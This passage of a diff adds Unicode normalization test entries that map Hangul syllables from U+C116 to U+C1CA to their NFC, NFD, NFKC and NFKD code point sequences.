+{ source: [0xC116], NFC: [0xC116], NFD: [0x1109, 0x1164, 0x11BD], NFKC: [0xC116], NFKD: [0x1109, 0x1164, 0x11BD] },
+{ source: [0xC117], NFC: [0xC117], NFD: [0x1109, 0x1164, 0x11BE], NFKC: [0xC117], NFKD: [0x1109, 0x1164, 0x11BE] },
+{ source: [0xC118], NFC: [0xC118], NFD: [0x1109, 0x1164, 0x11BF], NFKC: [0xC118], NFKD: [0x1109, 0x1164, 0x11BF] },
+{ source: [0xC119], NFC: [0xC119], NFD: [0x1109, 0x1164, 0x11C0], NFKC: [0xC119], NFKD: [0x1109, 0x1164, 0x11C0] },
+{ source: [0xC11A], NFC: [0xC11A], NFD: [0x1109, 0x1164, 0x11C1], NFKC: [0xC11A], NFKD: [0x1109, 0x1164, 0x11C1] },
+{ source: [0xC11B], NFC: [0xC11B], NFD: [0x1109, 0x1164, 0x11C2], NFKC: [0xC11B], NFKD: [0x1109, 0x1164, 0x11C2] },
+{ source: [0xC11C], NFC: [0xC11C], NFD: [0x1109, 0x1165], NFKC: [0xC11C], NFKD: [0x1109, 0x1165] },
+{ source: [0xC11D], NFC: [0xC11D], NFD: [0x1109, 0x1165, 0x11A8], NFKC: [0xC11D], NFKD: [0x1109, 0x1165, 0x11A8] },
+{ source: [0xC11E], NFC: [0xC11E], NFD: [0x1109, 0x1165, 0x11A9], NFKC: [0xC11E], NFKD: [0x1109, 0x1165, 0x11A9] },
+{ source: [0xC11F], NFC: [0xC11F], NFD: [0x1109, 0x1165, 0x11AA], NFKC: [0xC11F], NFKD: [0x1109, 0x1165, 0x11AA] },
+{ source: [0xC120], NFC: [0xC120], NFD: [0x1109, 0x1165, 0x11AB], NFKC: [0xC120], NFKD: [0x1109, 0x1165, 0x11AB] },
+{ source: [0xC121], NFC: [0xC121], NFD: [0x1109, 0x1165, 0x11AC], NFKC: [0xC121], NFKD: [0x1109, 0x1165, 0x11AC] },
+{ source: [0xC122], NFC: [0xC122], NFD: [0x1109, 0x1165, 0x11AD], NFKC: [0xC122], NFKD: [0x1109, 0x1165, 0x11AD] },
+{ source: [0xC123], NFC: [0xC123], NFD: [0x1109, 0x1165, 0x11AE], NFKC: [0xC123], NFKD: [0x1109, 0x1165, 0x11AE] },
+{ source: [0xC124], NFC: [0xC124], NFD: [0x1109, 0x1165, 0x11AF], NFKC: [0xC124], NFKD: [0x1109, 0x1165, 0x11AF] },
+{ source: [0xC125], NFC: [0xC125], NFD: [0x1109, 0x1165, 0x11B0], NFKC: [0xC125], NFKD: [0x1109, 0x1165, 0x11B0] },
+{ source: [0xC126], NFC: [0xC126], NFD: [0x1109, 0x1165, 0x11B1], NFKC: [0xC126], NFKD: [0x1109, 0x1165, 0x11B1] },
+{ source: [0xC127], NFC: [0xC127], NFD: [0x1109, 0x1165, 0x11B2], NFKC: [0xC127], NFKD: [0x1109, 0x1165, 0x11B2] },
+{ source: [0xC128], NFC: [0xC128], NFD: [0x1109, 0x1165, 0x11B3], NFKC: [0xC128], NFKD: [0x1109, 0x1165, 0x11B3] },
+{ source: [0xC129], NFC: [0xC129], NFD: [0x1109, 0x1165, 0x11B4], NFKC: [0xC129], NFKD: [0x1109, 0x1165, 0x11B4] },
+{ source: [0xC12A], NFC: [0xC12A], NFD: [0x1109, 0x1165, 0x11B5], NFKC: [0xC12A], NFKD: [0x1109, 0x1165, 0x11B5] },
+{ source: [0xC12B], NFC: [0xC12B], NFD: [0x1109, 0x1165, 0x11B6], NFKC: [0xC12B], NFKD: [0x1109, 0x1165, 0x11B6] },
+{ source: [0xC12C], NFC: [0xC12C], NFD: [0x1109, 0x1165, 0x11B7], NFKC: [0xC12C], NFKD: [0x1109, 0x1165, 0x11B7] },
+{ source: [0xC12D], NFC: [0xC12D], NFD: [0x1109, 0x1165, 0x11B8], NFKC: [0xC12D], NFKD: [0x1109, 0x1165, 0x11B8] },
+{ source: [0xC12E], NFC: [0xC12E], NFD: [0x1109, 0x1165, 0x11B9], NFKC: [0xC12E], NFKD: [0x1109, 0x1165, 0x11B9] },
+{ source: [0xC12F], NFC: [0xC12F], NFD: [0x1109, 0x1165, 0x11BA], NFKC: [0xC12F], NFKD: [0x1109, 0x1165, 0x11BA] },
+{ source: [0xC130], NFC: [0xC130], NFD: [0x1109, 0x1165, 0x11BB], NFKC: [0xC130], NFKD: [0x1109, 0x1165, 0x11BB] },
+{ source: [0xC131], NFC: [0xC131], NFD: [0x1109, 0x1165, 0x11BC], NFKC: [0xC131], NFKD: [0x1109, 0x1165, 0x11BC] },
+{ source: [0xC132], NFC: [0xC132], NFD: [0x1109, 0x1165, 0x11BD], NFKC: [0xC132], NFKD: [0x1109, 0x1165, 0x11BD] },
+{ source: [0xC133], NFC: [0xC133], NFD: [0x1109, 0x1165, 0x11BE], NFKC: [0xC133], NFKD: [0x1109, 0x1165, 0x11BE] },
+{ source: [0xC134], NFC: [0xC134], NFD: [0x1109, 0x1165, 0x11BF], NFKC: [0xC134], NFKD: [0x1109, 0x1165, 0x11BF] },
+{ source: [0xC135], NFC: [0xC135], NFD: [0x1109, 0x1165, 0x11C0], NFKC: [0xC135], NFKD: [0x1109, 0x1165, 0x11C0] },
+{ source: [0xC136], NFC: [0xC136], NFD: [0x1109, 0x1165, 0x11C1], NFKC: [0xC136], NFKD: [0x1109, 0x1165, 0x11C1] },
+{ source: [0xC137], NFC: [0xC137], NFD: [0x1109, 0x1165, 0x11C2], NFKC: [0xC137], NFKD: [0x1109, 0x1165, 0x11C2] },
+{ source: [0xC138], NFC: [0xC138], NFD: [0x1109, 0x1166], NFKC: [0xC138], NFKD: [0x1109, 0x1166] },
+{ source: [0xC139], NFC: [0xC139], NFD: [0x1109, 0x1166, 0x11A8], NFKC: [0xC139], NFKD: [0x1109, 0x1166, 0x11A8] },
+{ source: [0xC13A], NFC: [0xC13A], NFD: [0x1109, 0x1166, 0x11A9], NFKC: [0xC13A], NFKD: [0x1109, 0x1166, 0x11A9] },
+{ source: [0xC13B], NFC: [0xC13B], NFD: [0x1109, 0x1166, 0x11AA], NFKC: [0xC13B], NFKD: [0x1109, 0x1166, 0x11AA] },
+{ source: [0xC13C], NFC: [0xC13C], NFD: [0x1109, 0x1166, 0x11AB], NFKC: [0xC13C], NFKD: [0x1109, 0x1166, 0x11AB] },
+{ source: [0xC13D], NFC: [0xC13D], NFD: [0x1109, 0x1166, 0x11AC], NFKC: [0xC13D], NFKD: [0x1109, 0x1166, 0x11AC] },
+{ source: [0xC13E], NFC: [0xC13E], NFD: [0x1109, 0x1166, 0x11AD], NFKC: [0xC13E], NFKD: [0x1109, 0x1166, 0x11AD] },
+{ source: [0xC13F], NFC: [0xC13F], NFD: [0x1109, 0x1166, 0x11AE], NFKC: [0xC13F], NFKD: [0x1109, 0x1166, 0x11AE] },
+{ source: [0xC140], NFC: [0xC140], NFD: [0x1109, 0x1166, 0x11AF], NFKC: [0xC140], NFKD: [0x1109, 0x1166, 0x11AF] },
+{ source: [0xC141], NFC: [0xC141], NFD: [0x1109, 0x1166, 0x11B0], NFKC: [0xC141], NFKD: [0x1109, 0x1166, 0x11B0] },
+{ source: [0xC142], NFC: [0xC142], NFD: [0x1109, 0x1166, 0x11B1], NFKC: [0xC142], NFKD: [0x1109, 0x1166, 0x11B1] },
+{ source: [0xC143], NFC: [0xC143], NFD: [0x1109, 0x1166, 0x11B2], NFKC: [0xC143], NFKD: [0x1109, 0x1166, 0x11B2] },
+{ source: [0xC144], NFC: [0xC144], NFD: [0x1109, 0x1166, 0x11B3], NFKC: [0xC144], NFKD: [0x1109, 0x1166, 0x11B3] },
+{ source: [0xC145], NFC: [0xC145], NFD: [0x1109, 0x1166, 0x11B4], NFKC: [0xC145], NFKD: [0x1109, 0x1166, 0x11B4] },
+{ source: [0xC146], NFC: [0xC146], NFD: [0x1109, 0x1166, 0x11B5], NFKC: [0xC146], NFKD: [0x1109, 0x1166, 0x11B5] },
+{ source: [0xC147], NFC: [0xC147], NFD: [0x1109, 0x1166, 0x11B6], NFKC: [0xC147], NFKD: [0x1109, 0x1166, 0x11B6] },
+{ source: [0xC148], NFC: [0xC148], NFD: [0x1109, 0x1166, 0x11B7], NFKC: [0xC148], NFKD: [0x1109, 0x1166, 0x11B7] },
+{ source: [0xC149], NFC: [0xC149], NFD: [0x1109, 0x1166, 0x11B8], NFKC: [0xC149], NFKD: [0x1109, 0x1166, 0x11B8] },
+{ source: [0xC14A], NFC: [0xC14A], NFD: [0x1109, 0x1166, 0x11B9], NFKC: [0xC14A], NFKD: [0x1109, 0x1166, 0x11B9] },
+{ source: [0xC14B], NFC: [0xC14B], NFD: [0x1109, 0x1166, 0x11BA], NFKC: [0xC14B], NFKD: [0x1109, 0x1166, 0x11BA] },
+{ source: [0xC14C], NFC: [0xC14C], NFD: [0x1109, 0x1166, 0x11BB], NFKC: [0xC14C], NFKD: [0x1109, 0x1166, 0x11BB] },
+{ source: [0xC14D], NFC: [0xC14D], NFD: [0x1109, 0x1166, 0x11BC], NFKC: [0xC14D], NFKD: [0x1109, 0x1166, 0x11BC] },
+{ source: [0xC14E], NFC: [0xC14E], NFD: [0x1109, 0x1166, 0x11BD], NFKC: [0xC14E], NFKD: [0x1109, 0x1166, 0x11BD] },
+{ source: [0xC14F], NFC: [0xC14F], NFD: [0x1109, 0x1166, 0x11BE], NFKC: [0xC14F], NFKD: [0x1109, 0x1166, 0x11BE] },
+{ source: [0xC150], NFC: [0xC150], NFD: [0x1109, 0x1166, 0x11BF], NFKC: [0xC150], NFKD: [0x1109, 0x1166, 0x11BF] },
+{ source: [0xC151], NFC: [0xC151], NFD: [0x1109, 0x1166, 0x11C0], NFKC: [0xC151], NFKD: [0x1109, 0x1166, 0x11C0] },
+{ source: [0xC152], NFC: [0xC152], NFD: [0x1109, 0x1166, 0x11C1], NFKC: [0xC152], NFKD: [0x1109, 0x1166, 0x11C1] },
+{ source: [0xC153], NFC: [0xC153], NFD: [0x1109, 0x1166, 0x11C2], NFKC: [0xC153], NFKD: [0x1109, 0x1166, 0x11C2] },
+{ source: [0xC154], NFC: [0xC154], NFD: [0x1109, 0x1167], NFKC: [0xC154], NFKD: [0x1109, 0x1167] },
+{ source: [0xC155], NFC: [0xC155], NFD: [0x1109, 0x1167, 0x11A8], NFKC: [0xC155], NFKD: [0x1109, 0x1167, 0x11A8] },
+{ source: [0xC156], NFC: [0xC156], NFD: [0x1109, 0x1167, 0x11A9], NFKC: [0xC156], NFKD: [0x1109, 0x1167, 0x11A9] },
+{ source: [0xC157], NFC: [0xC157], NFD: [0x1109, 0x1167, 0x11AA], NFKC: [0xC157], NFKD: [0x1109, 0x1167, 0x11AA] },
+{ source: [0xC158], NFC: [0xC158], NFD: [0x1109, 0x1167, 0x11AB], NFKC: [0xC158], NFKD: [0x1109, 0x1167, 0x11AB] },
+{ source: [0xC159], NFC: [0xC159], NFD: [0x1109, 0x1167, 0x11AC], NFKC: [0xC159], NFKD: [0x1109, 0x1167, 0x11AC] },
+{ source: [0xC15A], NFC: [0xC15A], NFD: [0x1109, 0x1167, 0x11AD], NFKC: [0xC15A], NFKD: [0x1109, 0x1167, 0x11AD] },
+{ source: [0xC15B], NFC: [0xC15B], NFD: [0x1109, 0x1167, 0x11AE], NFKC: [0xC15B], NFKD: [0x1109, 0x1167, 0x11AE] },
+{ source: [0xC15C], NFC: [0xC15C], NFD: [0x1109, 0x1167, 0x11AF], NFKC: [0xC15C], NFKD: [0x1109, 0x1167, 0x11AF] },
+{ source: [0xC15D], NFC: [0xC15D], NFD: [0x1109, 0x1167, 0x11B0], NFKC: [0xC15D], NFKD: [0x1109, 0x1167, 0x11B0] },
+{ source: [0xC15E], NFC: [0xC15E], NFD: [0x1109, 0x1167, 0x11B1], NFKC: [0xC15E], NFKD: [0x1109, 0x1167, 0x11B1] },
+{ source: [0xC15F], NFC: [0xC15F], NFD: [0x1109, 0x1167, 0x11B2], NFKC: [0xC15F], NFKD: [0x1109, 0x1167, 0x11B2] },
+{ source: [0xC160], NFC: [0xC160], NFD: [0x1109, 0x1167, 0x11B3], NFKC: [0xC160], NFKD: [0x1109, 0x1167, 0x11B3] },
+{ source: [0xC161], NFC: [0xC161], NFD: [0x1109, 0x1167, 0x11B4], NFKC: [0xC161], NFKD: [0x1109, 0x1167, 0x11B4] },
+{ source: [0xC162], NFC: [0xC162], NFD: [0x1109, 0x1167, 0x11B5], NFKC: [0xC162], NFKD: [0x1109, 0x1167, 0x11B5] },
+{ source: [0xC163], NFC: [0xC163], NFD: [0x1109, 0x1167, 0x11B6], NFKC: [0xC163], NFKD: [0x1109, 0x1167, 0x11B6] },
+{ source: [0xC164], NFC: [0xC164], NFD: [0x1109, 0x1167, 0x11B7], NFKC: [0xC164], NFKD: [0x1109, 0x1167, 0x11B7] },
+{ source: [0xC165], NFC: [0xC165], NFD: [0x1109, 0x1167, 0x11B8], NFKC: [0xC165], NFKD: [0x1109, 0x1167, 0x11B8] },
+{ source: [0xC166], NFC: [0xC166], NFD: [0x1109, 0x1167, 0x11B9], NFKC: [0xC166], NFKD: [0x1109, 0x1167, 0x11B9] },
+{ source: [0xC167], NFC: [0xC167], NFD: [0x1109, 0x1167, 0x11BA], NFKC: [0xC167], NFKD: [0x1109, 0x1167, 0x11BA] },
+{ source: [0xC168], NFC: [0xC168], NFD: [0x1109, 0x1167, 0x11BB], NFKC: [0xC168], NFKD: [0x1109, 0x1167, 0x11BB] },
+{ source: [0xC169], NFC: [0xC169], NFD: [0x1109, 0x1167, 0x11BC], NFKC: [0xC169], NFKD: [0x1109, 0x1167, 0x11BC] },
+{ source: [0xC16A], NFC: [0xC16A], NFD: [0x1109, 0x1167, 0x11BD], NFKC: [0xC16A], NFKD: [0x1109, 0x1167, 0x11BD] },
+{ source: [0xC16B], NFC: [0xC16B], NFD: [0x1109, 0x1167, 0x11BE], NFKC: [0xC16B], NFKD: [0x1109, 0x1167, 0x11BE] },
+{ source: [0xC16C], NFC: [0xC16C], NFD: [0x1109, 0x1167, 0x11BF], NFKC: [0xC16C], NFKD: [0x1109, 0x1167, 0x11BF] },
+{ source: [0xC16D], NFC: [0xC16D], NFD: [0x1109, 0x1167, 0x11C0], NFKC: [0xC16D], NFKD: [0x1109, 0x1167, 0x11C0] },
+{ source: [0xC16E], NFC: [0xC16E], NFD: [0x1109, 0x1167, 0x11C1], NFKC: [0xC16E], NFKD: [0x1109, 0x1167, 0x11C1] },
+{ source: [0xC16F], NFC: [0xC16F], NFD: [0x1109, 0x1167, 0x11C2], NFKC: [0xC16F], NFKD: [0x1109, 0x1167, 0x11C2] },
+{ source: [0xC170], NFC: [0xC170], NFD: [0x1109, 0x1168], NFKC: [0xC170], NFKD: [0x1109, 0x1168] },
+{ source: [0xC171], NFC: [0xC171], NFD: [0x1109, 0x1168, 0x11A8], NFKC: [0xC171], NFKD: [0x1109, 0x1168, 0x11A8] },
+{ source: [0xC172], NFC: [0xC172], NFD: [0x1109, 0x1168, 0x11A9], NFKC: [0xC172], NFKD: [0x1109, 0x1168, 0x11A9] },
+{ source: [0xC173], NFC: [0xC173], NFD: [0x1109, 0x1168, 0x11AA], NFKC: [0xC173], NFKD: [0x1109, 0x1168, 0x11AA] },
+{ source: [0xC174], NFC: [0xC174], NFD: [0x1109, 0x1168, 0x11AB], NFKC: [0xC174], NFKD: [0x1109, 0x1168, 0x11AB] },
+{ source: [0xC175], NFC: [0xC175], NFD: [0x1109, 0x1168, 0x11AC], NFKC: [0xC175], NFKD: [0x1109, 0x1168, 0x11AC] },
+{ source: [0xC176], NFC: [0xC176], NFD: [0x1109, 0x1168, 0x11AD], NFKC: [0xC176], NFKD: [0x1109, 0x1168, 0x11AD] },
+{ source: [0xC177], NFC: [0xC177], NFD: [0x1109, 0x1168, 0x11AE], NFKC: [0xC177], NFKD: [0x1109, 0x1168, 0x11AE] },
+{ source: [0xC178], NFC: [0xC178], NFD: [0x1109, 0x1168, 0x11AF], NFKC: [0xC178], NFKD: [0x1109, 0x1168, 0x11AF] },
+{ source: [0xC179], NFC: [0xC179], NFD: [0x1109, 0x1168, 0x11B0], NFKC: [0xC179], NFKD: [0x1109, 0x1168, 0x11B0] },
+{ source: [0xC17A], NFC: [0xC17A], NFD: [0x1109, 0x1168, 0x11B1], NFKC: [0xC17A], NFKD: [0x1109, 0x1168, 0x11B1] },
+{ source: [0xC17B], NFC: [0xC17B], NFD: [0x1109, 0x1168, 0x11B2], NFKC: [0xC17B], NFKD: [0x1109, 0x1168, 0x11B2] },
+{ source: [0xC17C], NFC: [0xC17C], NFD: [0x1109, 0x1168, 0x11B3], NFKC: [0xC17C], NFKD: [0x1109, 0x1168, 0x11B3] },
+{ source: [0xC17D], NFC: [0xC17D], NFD: [0x1109, 0x1168, 0x11B4], NFKC: [0xC17D], NFKD: [0x1109, 0x1168, 0x11B4] },
+{ source: [0xC17E], NFC: [0xC17E], NFD: [0x1109, 0x1168, 0x11B5], NFKC: [0xC17E], NFKD: [0x1109, 0x1168, 0x11B5] },
+{ source: [0xC17F], NFC: [0xC17F], NFD: [0x1109, 0x1168, 0x11B6], NFKC: [0xC17F], NFKD: [0x1109, 0x1168, 0x11B6] },
+{ source: [0xC180], NFC: [0xC180], NFD: [0x1109, 0x1168, 0x11B7], NFKC: [0xC180], NFKD: [0x1109, 0x1168, 0x11B7] },
+{ source: [0xC181], NFC: [0xC181], NFD: [0x1109, 0x1168, 0x11B8], NFKC: [0xC181], NFKD: [0x1109, 0x1168, 0x11B8] },
+{ source: [0xC182], NFC: [0xC182], NFD: [0x1109, 0x1168, 0x11B9], NFKC: [0xC182], NFKD: [0x1109, 0x1168, 0x11B9] },
+{ source: [0xC183], NFC: [0xC183], NFD: [0x1109, 0x1168, 0x11BA], NFKC: [0xC183], NFKD: [0x1109, 0x1168, 0x11BA] },
+{ source: [0xC184], NFC: [0xC184], NFD: [0x1109, 0x1168, 0x11BB], NFKC: [0xC184], NFKD: [0x1109, 0x1168, 0x11BB] },
+{ source: [0xC185], NFC: [0xC185], NFD: [0x1109, 0x1168, 0x11BC], NFKC: [0xC185], NFKD: [0x1109, 0x1168, 0x11BC] },
+{ source: [0xC186], NFC: [0xC186], NFD: [0x1109, 0x1168, 0x11BD], NFKC: [0xC186], NFKD: [0x1109, 0x1168, 0x11BD] },
+{ source: [0xC187], NFC: [0xC187], NFD: [0x1109, 0x1168, 0x11BE], NFKC: [0xC187], NFKD: [0x1109, 0x1168, 0x11BE] },
+{ source: [0xC188], NFC: [0xC188], NFD: [0x1109, 0x1168, 0x11BF], NFKC: [0xC188], NFKD: [0x1109, 0x1168, 0x11BF] },
+{ source: [0xC189], NFC: [0xC189], NFD: [0x1109, 0x1168, 0x11C0], NFKC: [0xC189], NFKD: [0x1109, 0x1168, 0x11C0] },
+{ source: [0xC18A], NFC: [0xC18A], NFD: [0x1109, 0x1168, 0x11C1], NFKC: [0xC18A], NFKD: [0x1109, 0x1168, 0x11C1] },
+{ source: [0xC18B], NFC: [0xC18B], NFD: [0x1109, 0x1168, 0x11C2], NFKC: [0xC18B], NFKD: [0x1109, 0x1168, 0x11C2] },
+{ source: [0xC18C], NFC: [0xC18C], NFD: [0x1109, 0x1169], NFKC: [0xC18C], NFKD: [0x1109, 0x1169] },
+{ source: [0xC18D], NFC: [0xC18D], NFD: [0x1109, 0x1169, 0x11A8], NFKC: [0xC18D], NFKD: [0x1109, 0x1169, 0x11A8] },
+{ source: [0xC18E], NFC: [0xC18E], NFD: [0x1109, 0x1169, 0x11A9], NFKC: [0xC18E], NFKD: [0x1109, 0x1169, 0x11A9] },
+{ source: [0xC18F], NFC: [0xC18F], NFD: [0x1109, 0x1169, 0x11AA], NFKC: [0xC18F], NFKD: [0x1109, 0x1169, 0x11AA] },
+{ source: [0xC190], NFC: [0xC190], NFD: [0x1109, 0x1169, 0x11AB], NFKC: [0xC190], NFKD: [0x1109, 0x1169, 0x11AB] },
+{ source: [0xC191], NFC: [0xC191], NFD: [0x1109, 0x1169, 0x11AC], NFKC: [0xC191], NFKD: [0x1109, 0x1169, 0x11AC] },
+{ source: [0xC192], NFC: [0xC192], NFD: [0x1109, 0x1169, 0x11AD], NFKC: [0xC192], NFKD: [0x1109, 0x1169, 0x11AD] },
+{ source: [0xC193], NFC: [0xC193], NFD: [0x1109, 0x1169, 0x11AE], NFKC: [0xC193], NFKD: [0x1109, 0x1169, 0x11AE] },
+{ source: [0xC194], NFC: [0xC194], NFD: [0x1109, 0x1169, 0x11AF], NFKC: [0xC194], NFKD: [0x1109, 0x1169, 0x11AF] },
+{ source: [0xC195], NFC: [0xC195], NFD: [0x1109, 0x1169, 0x11B0], NFKC: [0xC195], NFKD: [0x1109, 0x1169, 0x11B0] },
+{ source: [0xC196], NFC: [0xC196], NFD: [0x1109, 0x1169, 0x11B1], NFKC: [0xC196], NFKD: [0x1109, 0x1169, 0x11B1] },
+{ source: [0xC197], NFC: [0xC197], NFD: [0x1109, 0x1169, 0x11B2], NFKC: [0xC197], NFKD: [0x1109, 0x1169, 0x11B2] },
+{ source: [0xC198], NFC: [0xC198], NFD: [0x1109, 0x1169, 0x11B3], NFKC: [0xC198], NFKD: [0x1109, 0x1169, 0x11B3] },
+{ source: [0xC199], NFC: [0xC199], NFD: [0x1109, 0x1169, 0x11B4], NFKC: [0xC199], NFKD: [0x1109, 0x1169, 0x11B4] },
+{ source: [0xC19A], NFC: [0xC19A], NFD: [0x1109, 0x1169, 0x11B5], NFKC: [0xC19A], NFKD: [0x1109, 0x1169, 0x11B5] },
+{ source: [0xC19B], NFC: [0xC19B], NFD: [0x1109, 0x1169, 0x11B6], NFKC: [0xC19B], NFKD: [0x1109, 0x1169, 0x11B6] },
+{ source: [0xC19C], NFC: [0xC19C], NFD: [0x1109, 0x1169, 0x11B7], NFKC: [0xC19C], NFKD: [0x1109, 0x1169, 0x11B7] },
+{ source: [0xC19D], NFC: [0xC19D], NFD: [0x1109, 0x1169, 0x11B8], NFKC: [0xC19D], NFKD: [0x1109, 0x1169, 0x11B8] },
+{ source: [0xC19E], NFC: [0xC19E], NFD: [0x1109, 0x1169, 0x11B9], NFKC: [0xC19E], NFKD: [0x1109, 0x1169, 0x11B9] },
+{ source: [0xC19F], NFC: [0xC19F], NFD: [0x1109, 0x1169, 0x11BA], NFKC: [0xC19F], NFKD: [0x1109, 0x1169, 0x11BA] },
+{ source: [0xC1A0], NFC: [0xC1A0], NFD: [0x1109, 0x1169, 0x11BB], NFKC: [0xC1A0], NFKD: [0x1109, 0x1169, 0x11BB] },
+{ source: [0xC1A1], NFC: [0xC1A1], NFD: [0x1109, 0x1169, 0x11BC], NFKC: [0xC1A1], NFKD: [0x1109, 0x1169, 0x11BC] },
+{ source: [0xC1A2], NFC: [0xC1A2], NFD: [0x1109, 0x1169, 0x11BD], NFKC: [0xC1A2], NFKD: [0x1109, 0x1169, 0x11BD] },
+{ source: [0xC1A3], NFC: [0xC1A3], NFD: [0x1109, 0x1169, 0x11BE], NFKC: [0xC1A3], NFKD: [0x1109, 0x1169, 0x11BE] },
+{ source: [0xC1A4], NFC: [0xC1A4], NFD: [0x1109, 0x1169, 0x11BF], NFKC: [0xC1A4], NFKD: [0x1109, 0x1169, 0x11BF] },
+{ source: [0xC1A5], NFC: [0xC1A5], NFD: [0x1109, 0x1169, 0x11C0], NFKC: [0xC1A5], NFKD: [0x1109, 0x1169, 0x11C0] },
+{ source: [0xC1A6], NFC: [0xC1A6], NFD: [0x1109, 0x1169, 0x11C1], NFKC: [0xC1A6], NFKD: [0x1109, 0x1169, 0x11C1] },
+{ source: [0xC1A7], NFC: [0xC1A7], NFD: [0x1109, 0x1169, 0x11C2], NFKC: [0xC1A7], NFKD: [0x1109, 0x1169, 0x11C2] },
+{ source: [0xC1A8], NFC: [0xC1A8], NFD: [0x1109, 0x116A], NFKC: [0xC1A8], NFKD: [0x1109, 0x116A] },
+{ source: [0xC1A9], NFC: [0xC1A9], NFD: [0x1109, 0x116A, 0x11A8], NFKC: [0xC1A9], NFKD: [0x1109, 0x116A, 0x11A8] },
+{ source: [0xC1AA], NFC: [0xC1AA], NFD: [0x1109, 0x116A, 0x11A9], NFKC: [0xC1AA], NFKD: [0x1109, 0x116A, 0x11A9] },
+{ source: [0xC1AB], NFC: [0xC1AB], NFD: [0x1109, 0x116A, 0x11AA], NFKC: [0xC1AB], NFKD: [0x1109, 0x116A, 0x11AA] },
+{ source: [0xC1AC], NFC: [0xC1AC], NFD: [0x1109, 0x116A, 0x11AB], NFKC: [0xC1AC], NFKD: [0x1109, 0x116A, 0x11AB] },
+{ source: [0xC1AD], NFC: [0xC1AD], NFD: [0x1109, 0x116A, 0x11AC], NFKC: [0xC1AD], NFKD: [0x1109, 0x116A, 0x11AC] },
+{ source: [0xC1AE], NFC: [0xC1AE], NFD: [0x1109, 0x116A, 0x11AD], NFKC: [0xC1AE], NFKD: [0x1109, 0x116A, 0x11AD] },
+{ source: [0xC1AF], NFC: [0xC1AF], NFD: [0x1109, 0x116A, 0x11AE], NFKC: [0xC1AF], NFKD: [0x1109, 0x116A, 0x11AE] },
+{ source: [0xC1B0], NFC: [0xC1B0], NFD: [0x1109, 0x116A, 0x11AF], NFKC: [0xC1B0], NFKD: [0x1109, 0x116A, 0x11AF] },
+{ source: [0xC1B1], NFC: [0xC1B1], NFD: [0x1109, 0x116A, 0x11B0], NFKC: [0xC1B1], NFKD: [0x1109, 0x116A, 0x11B0] },
+{ source: [0xC1B2], NFC: [0xC1B2], NFD: [0x1109, 0x116A, 0x11B1], NFKC: [0xC1B2], NFKD: [0x1109, 0x116A, 0x11B1] },
+{ source: [0xC1B3], NFC: [0xC1B3], NFD: [0x1109, 0x116A, 0x11B2], NFKC: [0xC1B3], NFKD: [0x1109, 0x116A, 0x11B2] },
+{ source: [0xC1B4], NFC: [0xC1B4], NFD: [0x1109, 0x116A, 0x11B3], NFKC: [0xC1B4], NFKD: [0x1109, 0x116A, 0x11B3] },
+{ source: [0xC1B5], NFC: [0xC1B5], NFD: [0x1109, 0x116A, 0x11B4], NFKC: [0xC1B5], NFKD: [0x1109, 0x116A, 0x11B4] },
+{ source: [0xC1B6], NFC: [0xC1B6], NFD: [0x1109, 0x116A, 0x11B5], NFKC: [0xC1B6], NFKD: [0x1109, 0x116A, 0x11B5] },
+{ source: [0xC1B7], NFC: [0xC1B7], NFD: [0x1109, 0x116A, 0x11B6], NFKC: [0xC1B7], NFKD: [0x1109, 0x116A, 0x11B6] },
+{ source: [0xC1B8], NFC: [0xC1B8], NFD: [0x1109, 0x116A, 0x11B7], NFKC: [0xC1B8], NFKD: [0x1109, 0x116A, 0x11B7] },
+{ source: [0xC1B9], NFC: [0xC1B9], NFD: [0x1109, 0x116A, 0x11B8], NFKC: [0xC1B9], NFKD: [0x1109, 0x116A, 0x11B8] },
+{ source: [0xC1BA], NFC: [0xC1BA], NFD: [0x1109, 0x116A, 0x11B9], NFKC: [0xC1BA], NFKD: [0x1109, 0x116A, 0x11B9] },
+{ source: [0xC1BB], NFC: [0xC1BB], NFD: [0x1109, 0x116A, 0x11BA], NFKC: [0xC1BB], NFKD: [0x1109, 0x116A, 0x11BA] },
+{ source: [0xC1BC], NFC: [0xC1BC], NFD: [0x1109, 0x116A, 0x11BB], NFKC: [0xC1BC], NFKD: [0x1109, 0x116A, 0x11BB] },
+{ source: [0xC1BD], NFC: [0xC1BD], NFD: [0x1109, 0x116A, 0x11BC], NFKC: [0xC1BD], NFKD: [0x1109, 0x116A, 0x11BC] },
+{ source: [0xC1BE], NFC: [0xC1BE], NFD: [0x1109, 0x116A, 0x11BD], NFKC: [0xC1BE], NFKD: [0x1109, 0x116A, 0x11BD] },
+{ source: [0xC1BF], NFC: [0xC1BF], NFD: [0x1109, 0x116A, 0x11BE], NFKC: [0xC1BF], NFKD: [0x1109, 0x116A, 0x11BE] },
+{ source: [0xC1C0], NFC: [0xC1C0], NFD: [0x1109, 0x116A, 0x11BF], NFKC: [0xC1C0], NFKD: [0x1109, 0x116A, 0x11BF] },
+{ source: [0xC1C1], NFC: [0xC1C1], NFD: [0x1109, 0x116A, 0x11C0], NFKC: [0xC1C1], NFKD: [0x1109, 0x116A, 0x11C0] },
+{ source: [0xC1C2], NFC: [0xC1C2], NFD: [0x1109, 0x116A, 0x11C1], NFKC: [0xC1C2], NFKD: [0x1109, 0x116A, 0x11C1] },
+{ source: [0xC1C3], NFC: [0xC1C3], NFD: [0x1109, 0x116A, 0x11C2], NFKC: [0xC1C3], NFKD: [0x1109, 0x116A, 0x11C2] },
+{ source: [0xC1C4], NFC: [0xC1C4], NFD: [0x1109, 0x116B], NFKC: [0xC1C4], NFKD: [0x1109, 0x116B] },
+{ source: [0xC1C5], NFC: [0xC1C5], NFD: [0x1109, 0x116B, 0x11A8], NFKC: [0xC1C5], NFKD: [0x1109, 0x116B, 0x11A8] },
+{ source: [0xC1C6], NFC: [0xC1C6], NFD: [0x1109, 0x116B, 0x11A9], NFKC: [0xC1C6], NFKD: [0x1109, 0x116B, 0x11A9] },
+{ source: [0xC1C7], NFC: [0xC1C7], NFD: [0x1109, 0x116B, 0x11AA], NFKC: [0xC1C7], NFKD: [0x1109, 0x116B, 0x11AA] },
+{ source: [0xC1C8], NFC: [0xC1C8], NFD: [0x1109, 0x116B, 0x11AB], NFKC: [0xC1C8], NFKD: [0x1109, 0x116B, 0x11AB] },
+{ source: [0xC1C9], NFC: [0xC1C9], NFD: [0x1109, 0x116B, 0x11AC], NFKC: [0xC1C9], NFKD: [0x1109, 0x116B, 0x11AC] },
+{ source: [0xC1CA], NFC: [0xC1CA], NFD: [0x1109, 0x116B, 0x11AD], NFKC: [0xC1CA], NFKD: [0x1109, 0x116B, 0x11AD] },
